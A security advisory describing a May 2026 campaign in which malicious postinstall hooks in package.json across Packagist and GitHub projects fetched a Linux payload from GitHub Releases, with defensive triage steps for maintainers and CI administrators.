A malicious postinstall-hook campaign has hit Packagist and GitHub-hosted projects by hiding code in package metadata and pulling a Linux payload from GitHub Releases. The practical risk is not only the named packages. It is the build machine, CI runner, or developer workstation that may execute a package install script before anyone notices the dependency is hostile.
Who is affected?
Socket reported the campaign on May 22, 2026, and described a malicious postinstall hook spread across more than 700 GitHub repositories, including PHP packages listed on Packagist and Node.js project repositories. The Hacker News separately summarized the Packagist angle as affecting eight packages and noted that the code was placed in package.json, not composer.json.
That distinction matters. A PHP project can still ship JavaScript tooling, and a developer may run npm install for frontend assets, tests, or build steps. A quick Composer-only review can miss the dangerous hook.
| Observed target | GitHub repositories, Packagist packages, and Node.js project repositories |
| Execution point | postinstall hook in package.json |
| Payload path | Linux binary retrieved from GitHub Releases |
| Who should check | Maintainers, CI administrators, hosting teams, and developers who recently installed or rebuilt affected dependencies |
| Known gap | Public reporting names the campaign behavior, but defenders still need to check local install logs and repository history for their own exposure |
This is close to the same trust problem behind recent package incidents such as the Laravel-Lang Composer credential stealer and the Mini Shai-Hulud npm wave. The attacker does not need to break production directly when a package install can reach secrets on a build host.
What to do now
Start with the machines that actually executed installs. Check CI job logs, developer shell history, npm lifecycle-script output, and outbound connections to unusual GitHub Release URLs. If a build runner stores tokens, rotate them before treating the incident as only a package cleanup.
For PHP projects, inspect both composer.json and package.json. If the repository has frontend tooling, do not assume Packagist exposure is limited to Composer metadata. Review recent dependency updates, lockfile changes, and any postinstall script added by a dependency you do not directly maintain.
On shared hosting or self-managed servers, look for newly downloaded Linux binaries under project directories, temporary folders, and CI workspaces. Preserve suspicious files for analysis, then rebuild from a clean lockfile and a trusted package source.
Related TrapDoor check
Composer is not the only package-manager risk. TrapDoor abused npm, PyPI and Crates.io packages to steal developer secrets and poison AI assistant context files.
FAQ
Is every Packagist package unsafe now?
No. The risk is specific to compromised or seeded packages and repositories. But this campaign shows why PHP projects with JavaScript tooling need both Composer and npm review.
Should developers disable install scripts?
For emergency triage, running installs with lifecycle scripts disabled can reduce risk while the team inspects dependencies. For normal operations, allow install scripts only where the package and maintainer path are understood.
What is the first sign of exposure?
A suspicious postinstall entry, a build log that downloads a binary from GitHub Releases, or a runner that made outbound connections during dependency installation.
Related: after reviewing postinstall package abuse, also check the Megalodon GitHub Actions malware campaign, where malicious CI workflows put repository secrets and package releases at risk.
References
- Socket Research Team, “Malicious Postinstall Hook Found Across 700+ GitHub Repositories, Including Packagist and Node.js Projects,” May 22, 2026, updated May 23, 2026. Report
- The Hacker News, “Packagist Supply Chain Attack Infects 8 Packages Using GitHub-Hosted Linux Malware,” May 23, 2026. Coverage
